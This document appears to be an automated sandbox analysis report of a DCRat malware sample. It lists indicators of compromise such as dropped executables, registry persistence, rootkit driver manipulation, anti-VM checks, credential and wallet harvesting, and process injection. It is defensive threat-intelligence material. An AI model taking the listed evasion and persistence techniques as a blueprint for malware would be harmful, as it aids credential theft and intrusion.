dcrat | 9587bda655a2dc730e4bdbd7de5ab39bc37de697fe22f449a6b2f851adaedfb8

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\Control Panel\International\Geo\Nation	CA85.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\Control Panel\International\Geo\Nation	43EE.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\Control Panel\International\Geo\Nation	work.exe

Executes dropped EXE 29 IoCs

pid	Process
2112	InstallSetup7.exe
2732	sc.exe
1820	31839b57a4f11171d6abc8bbc4451ee4.exe
3160	BroomSetup.exe
4380	rty25.exe
1816	FirstZ.exe
4440	Conhost.exe
5016	31839b57a4f11171d6abc8bbc4451ee4.exe
1168	csrss.exe
216	injector.exe
5056	powershell.exe
4636	windefender.exe
3952	windefender.exe
2360	powercfg.exe
4056	CA85.exe
512	CA85.exe
4988	CA85.exe
3064	reakuqnanrkn.exe
1256	E2FF.exe
3368	E9B7.exe
1392	43EE.exe
852	work.exe
4968	fesa.exe
1004	5EE9.exe
4816	stub.exe
3784	ajabbsc
464	dcb505dc2b9d8aac05f4ca0727f5eadb.exe
3156	wup.exe
4928	csrss.exe

Loads dropped DLL 38 IoCs

pid	Process
2112	InstallSetup7.exe
2112	InstallSetup7.exe
4440	Conhost.exe
4440	Conhost.exe
348	RegAsm.exe
348	RegAsm.exe
4816	stub.exe
4816	stub.exe
4816	stub.exe
4816	stub.exe
4816	stub.exe
4816	stub.exe
4816	stub.exe
4816	stub.exe
4816	stub.exe
4816	stub.exe
4816	stub.exe
4816	stub.exe
4816	stub.exe
4816	stub.exe
4816	stub.exe
4816	stub.exe
4816	stub.exe
4816	stub.exe
4816	stub.exe
4816	stub.exe
4816	stub.exe
4816	stub.exe
4816	stub.exe
4816	stub.exe
4816	stub.exe
4816	stub.exe
4816	stub.exe
4816	stub.exe
4816	stub.exe
4816	stub.exe
4816	stub.exe
4816	stub.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
5088	icacls.exe

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

UPX packed file 11 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x0009000000023266-461.dat	upx
behavioral2/memory/4636-464-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral2/files/0x0009000000023266-463.dat	upx
behavioral2/files/0x0009000000023266-460.dat	upx
behavioral2/memory/1724-567-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/1724-571-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/1724-573-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/1724-572-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/1724-570-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/1724-569-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/1724-568-0x0000000140000000-0x0000000140848000-memory.dmp	upx

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\""	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\""	csrss.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysHelper = "\"C:\\Users\\Admin\\AppData\\Local\\b0ab8daf-bfeb-4b59-ae20-9db51ac7eedd\\CA85.exe\" --AutoStart"	CA85.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Manipulates WinMonFS driver. 1 IoCs

Roottkits write to WinMonFS to hide directories/files from being detected.

rootkit evasion

description	ioc	Process
File opened for modification	\??\WinMonFS	csrss.exe

Drops file in System32 directory 11 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\MRT.exe	reakuqnanrkn.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	Conhost.exe
File opened for modification	C:\Windows\system32\MRT.exe	FirstZ.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
4968	fesa.exe
4968	fesa.exe

Suspicious use of SetThreadContext 6 IoCs

description	pid	Process	procid_target
PID 2360 set thread context of 4056	2360	powercfg.exe	233
PID 512 set thread context of 4988	512	CA85.exe	238
PID 3064 set thread context of 2940	3064	reakuqnanrkn.exe	263
PID 3064 set thread context of 1724	3064	reakuqnanrkn.exe	261
PID 1256 set thread context of 3156	1256	E2FF.exe	296
PID 3368 set thread context of 348	3368	E9B7.exe	301

Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\VBoxMiniRdrDN	31839b57a4f11171d6abc8bbc4451ee4.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File created	C:\Windows\rss\csrss.exe	31839b57a4f11171d6abc8bbc4451ee4.exe
File created	C:\Windows\windefender.exe	csrss.exe
File opened for modification	C:\Windows\windefender.exe	csrss.exe
File opened for modification	C:\Windows\rss	31839b57a4f11171d6abc8bbc4451ee4.exe

Launches sc.exe 15 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3204	sc.exe
2544	sc.exe
3264	sc.exe
2468	sc.exe
3592	sc.exe
5100	sc.exe
3928	sc.exe
4736	sc.exe
4408	sc.exe
2732	sc.exe
408	sc.exe
968	sc.exe
1640	sc.exe
4092	sc.exe
2096	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 63 IoCs

pid	pid_target	Process	procid_target
3388	1820	WerFault.exe	95
1660	1820	WerFault.exe	95
1404	1820	WerFault.exe	95
1060	1820	WerFault.exe	95
4028	1820	WerFault.exe	95
1392	1820	WerFault.exe	95
2256	1820	WerFault.exe	95
4344	1820	WerFault.exe	95
2680	1820	WerFault.exe	95
4988	1820	WerFault.exe	95
2652	1820	WerFault.exe	95
2628	1820	WerFault.exe	95
4128	1820	WerFault.exe	95
320	1820	WerFault.exe	95
1128	1820	WerFault.exe	95
4008	1820	WerFault.exe	95
2404	1820	WerFault.exe	95
3948	1820	WerFault.exe	95
3204	1820	WerFault.exe	95
2116	5016	WerFault.exe	146
4608	5016	WerFault.exe	146
3684	5016	WerFault.exe	146
768	5016	WerFault.exe	146
792	5016	WerFault.exe	146
3736	5016	WerFault.exe	146
1984	5016	WerFault.exe	146
4092	5016	WerFault.exe	146
2984	5016	WerFault.exe	146
4984	1168	WerFault.exe	176
4964	1168	WerFault.exe	176
3736	1168	WerFault.exe	176
4116	1168	WerFault.exe	176
4220	1168	WerFault.exe	176
2484	1168	WerFault.exe	176
2400	4440	WerFault.exe	114
2624	1168	WerFault.exe	176
3264	1168	WerFault.exe	176
4512	1168	WerFault.exe	176
3228	1168	WerFault.exe	176
4980	1168	WerFault.exe	176
4584	1168	WerFault.exe	176
3096	1168	WerFault.exe	176
4092	1168	WerFault.exe	176
5028	1168	WerFault.exe	176
4724	4988	WerFault.exe	238
4936	1168	WerFault.exe	176
2332	1168	WerFault.exe	176
2128	1168	WerFault.exe	176
2828	1168	WerFault.exe	176
3096	1168	WerFault.exe	176
228	1168	WerFault.exe	176
3364	1168	WerFault.exe	176
1300	1168	WerFault.exe	176
2828	1168	WerFault.exe	176
5044	4928	WerFault.exe	345
3192	4928	WerFault.exe	345
3852	4928	WerFault.exe	345
1620	4928	WerFault.exe	345
2636	4928	WerFault.exe	345
4084	4928	WerFault.exe	345
2924	4928	WerFault.exe	345
1544	4928	WerFault.exe	345
2252	4928	WerFault.exe	345

Checks SCSI registry key(s) 3 TTPs 9 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	sc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	ajabbsc
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	ajabbsc
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	ajabbsc
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	sc.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	powershell.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	powershell.exe

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Conhost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Conhost.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	RegAsm.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	RegAsm.exe

Creates scheduled task(s) 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
4660	schtasks.exe
628	schtasks.exe
1272	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
3472	timeout.exe

Enumerates processes with tasklist 1 TTPs 1 IoCs

Process Discovery

T1057

pid	Process
404	tasklist.exe

GoLang User-Agent 2 IoCs

Uses default user-agent string defined by GoLang HTTP packages.

description	flow	ioc
HTTP User-Agent header	131	Go-http-client/1.1
HTTP User-Agent header	132	Go-http-client/1.1

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-221 = "Alaskan Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@tzres.dll,-1412 = "Syria Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@tzres.dll,-1502 = "Turkey Standard Time"	windefender.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@tzres.dll,-1472 = "Magadan Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-2451 = "Saint Pierre Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@tzres.dll,-202 = "US Mountain Standard Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	Conhost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-161 = "Central Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@tzres.dll,-71 = "Newfoundland Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@tzres.dll,-1932 = "Russia TZ 11 Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@tzres.dll,-1802 = "Line Islands Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@tzres.dll,-215 = "Pacific Standard Time (Mexico)"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@tzres.dll,-121 = "SA Pacific Daylight Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-2751 = "Tomsk Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	Conhost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@tzres.dll,-172 = "Central Standard Time (Mexico)"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@tzres.dll,-671 = "AUS Eastern Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@tzres.dll,-2632 = "Norfolk Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@tzres.dll,-132 = "US Eastern Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@tzres.dll,-448 = "Azerbaijan Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@tzres.dll,-452 = "Caucasus Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@tzres.dll,-1722 = "Libya Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@tzres.dll,-542 = "Myanmar Standard Time"	windefender.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	Conhost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@tzres.dll,-662 = "Cen. Australia Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@tzres.dll,-192 = "Mountain Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-462 = "Afghanistan Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-292 = "Central European Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-2321 = "Sakhalin Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	Conhost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-1722 = "Libya Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-231 = "Hawaiian Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@tzres.dll,-2941 = "Sao Tome Daylight Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-2322 = "Sakhalin Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@tzres.dll,-732 = "Fiji Standard Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-181 = "Mountain Daylight Time (Mexico)"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	Conhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@tzres.dll,-191 = "Mountain Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-92 = "Pacific SA Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	Conhost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-682 = "E. Australia Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-131 = "US Eastern Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@tzres.dll,-2631 = "Norfolk Daylight Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-435 = "Georgian Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-212 = "Pacific Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-601 = "Taipei Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@tzres.dll,-2571 = "Turks and Caicos Daylight Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	Process not Found
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	Process not Found

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2732	sc.exe
2732	sc.exe
1208	powershell.exe
1208	powershell.exe
1208	powershell.exe
4440	Conhost.exe
4440	Conhost.exe
3568	Process not Found
3568	Process not Found
3568	Process not Found
3568	Process not Found
3568	Process not Found
3568	Process not Found
3568	Process not Found
3568	Process not Found
3568	Process not Found
3568	Process not Found
3568	Process not Found
3568	Process not Found
3568	Process not Found
3568	Process not Found
3568	Process not Found
3568	Process not Found
3568	Process not Found
3568	Process not Found
3568	Process not Found
3568	Process not Found
3568	Process not Found
3568	Process not Found
1820	31839b57a4f11171d6abc8bbc4451ee4.exe
1820	31839b57a4f11171d6abc8bbc4451ee4.exe
3568	Process not Found
3568	Process not Found
3568	Process not Found
3568	Process not Found
3568	Process not Found
3568	Process not Found
3568	Process not Found
3568	Process not Found
3568	Process not Found
3568	Process not Found
3568	Process not Found
3568	Process not Found
3568	Process not Found
3568	Process not Found
3568	Process not Found
3568	Process not Found
3568	Process not Found
3568	Process not Found
3756	powershell.exe
3756	powershell.exe
3568	Process not Found
3568	Process not Found
3756	powershell.exe
3568	Process not Found
3568	Process not Found
3568	Process not Found
3568	Process not Found
3568	Process not Found
3568	Process not Found
3568	Process not Found
3568	Process not Found
3568	Process not Found
3568	Process not Found

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
2732	sc.exe
5056	powershell.exe
3784	ajabbsc

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1208	powershell.exe
Token: SeShutdownPrivilege	3568	Process not Found
Token: SeCreatePagefilePrivilege	3568	Process not Found
Token: SeDebugPrivilege	1820	31839b57a4f11171d6abc8bbc4451ee4.exe
Token: SeImpersonatePrivilege	1820	31839b57a4f11171d6abc8bbc4451ee4.exe
Token: SeShutdownPrivilege	3568	Process not Found
Token: SeCreatePagefilePrivilege	3568	Process not Found
Token: SeShutdownPrivilege	3568	Process not Found
Token: SeCreatePagefilePrivilege	3568	Process not Found
Token: SeShutdownPrivilege	3568	Process not Found
Token: SeCreatePagefilePrivilege	3568	Process not Found
Token: SeShutdownPrivilege	3568	Process not Found
Token: SeCreatePagefilePrivilege	3568	Process not Found
Token: SeShutdownPrivilege	3568	Process not Found
Token: SeCreatePagefilePrivilege	3568	Process not Found
Token: SeShutdownPrivilege	3568	Process not Found
Token: SeCreatePagefilePrivilege	3568	Process not Found
Token: SeShutdownPrivilege	3568	Process not Found
Token: SeCreatePagefilePrivilege	3568	Process not Found
Token: SeShutdownPrivilege	3568	Process not Found
Token: SeCreatePagefilePrivilege	3568	Process not Found
Token: SeShutdownPrivilege	3568	Process not Found
Token: SeCreatePagefilePrivilege	3568	Process not Found
Token: SeDebugPrivilege	3756	powershell.exe
Token: SeShutdownPrivilege	3568	Process not Found
Token: SeCreatePagefilePrivilege	3568	Process not Found
Token: SeShutdownPrivilege	3568	Process not Found
Token: SeCreatePagefilePrivilege	3568	Process not Found
Token: SeDebugPrivilege	516	powershell.exe
Token: SeShutdownPrivilege	3568	Process not Found
Token: SeCreatePagefilePrivilege	3568	Process not Found
Token: SeDebugPrivilege	3284	Conhost.exe
Token: SeShutdownPrivilege	3568	Process not Found
Token: SeCreatePagefilePrivilege	3568	Process not Found
Token: SeShutdownPrivilege	3568	Process not Found
Token: SeCreatePagefilePrivilege	3568	Process not Found
Token: SeShutdownPrivilege	3568	Process not Found
Token: SeCreatePagefilePrivilege	3568	Process not Found
Token: SeShutdownPrivilege	3568	Process not Found
Token: SeCreatePagefilePrivilege	3568	Process not Found
Token: SeShutdownPrivilege	3568	Process not Found
Token: SeCreatePagefilePrivilege	3568	Process not Found
Token: SeShutdownPrivilege	3568	Process not Found
Token: SeCreatePagefilePrivilege	3568	Process not Found
Token: SeShutdownPrivilege	3568	Process not Found
Token: SeCreatePagefilePrivilege	3568	Process not Found
Token: SeShutdownPrivilege	3568	Process not Found
Token: SeCreatePagefilePrivilege	3568	Process not Found
Token: SeShutdownPrivilege	3568	Process not Found
Token: SeCreatePagefilePrivilege	3568	Process not Found
Token: SeShutdownPrivilege	3568	Process not Found
Token: SeCreatePagefilePrivilege	3568	Process not Found
Token: SeShutdownPrivilege	3568	Process not Found
Token: SeCreatePagefilePrivilege	3568	Process not Found
Token: SeShutdownPrivilege	3568	Process not Found
Token: SeCreatePagefilePrivilege	3568	Process not Found
Token: SeDebugPrivilege	4032	powershell.exe
Token: SeShutdownPrivilege	3568	Process not Found
Token: SeCreatePagefilePrivilege	3568	Process not Found
Token: SeShutdownPrivilege	3568	Process not Found
Token: SeCreatePagefilePrivilege	3568	Process not Found
Token: SeShutdownPrivilege	3568	Process not Found
Token: SeCreatePagefilePrivilege	3568	Process not Found
Token: SeDebugPrivilege	4888	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3156	wup.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
3160	BroomSetup.exe
4968	fesa.exe

Suspicious use of UnmapMainImage 1 IoCs

pid	Process
3568	Process not Found

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3004 wrote to memory of 2112	3004	WerFault.exe	87
PID 3004 wrote to memory of 2112	3004	WerFault.exe	87
PID 3004 wrote to memory of 2112	3004	WerFault.exe	87
PID 3004 wrote to memory of 2732	3004	WerFault.exe	276
PID 3004 wrote to memory of 2732	3004	WerFault.exe	276
PID 3004 wrote to memory of 2732	3004	WerFault.exe	276
PID 3004 wrote to memory of 1820	3004	WerFault.exe	95
PID 3004 wrote to memory of 1820	3004	WerFault.exe	95
PID 3004 wrote to memory of 1820	3004	WerFault.exe	95
PID 2112 wrote to memory of 3160	2112	InstallSetup7.exe	90
PID 2112 wrote to memory of 3160	2112	InstallSetup7.exe	90
PID 2112 wrote to memory of 3160	2112	InstallSetup7.exe	90
PID 3004 wrote to memory of 4380	3004	WerFault.exe	93
PID 3004 wrote to memory of 4380	3004	WerFault.exe	93
PID 3004 wrote to memory of 1816	3004	WerFault.exe	91
PID 3004 wrote to memory of 1816	3004	WerFault.exe	91
PID 2112 wrote to memory of 4440	2112	InstallSetup7.exe	246
PID 2112 wrote to memory of 4440	2112	InstallSetup7.exe	246
PID 2112 wrote to memory of 4440	2112	InstallSetup7.exe	246
PID 3160 wrote to memory of 2492	3160	BroomSetup.exe	133
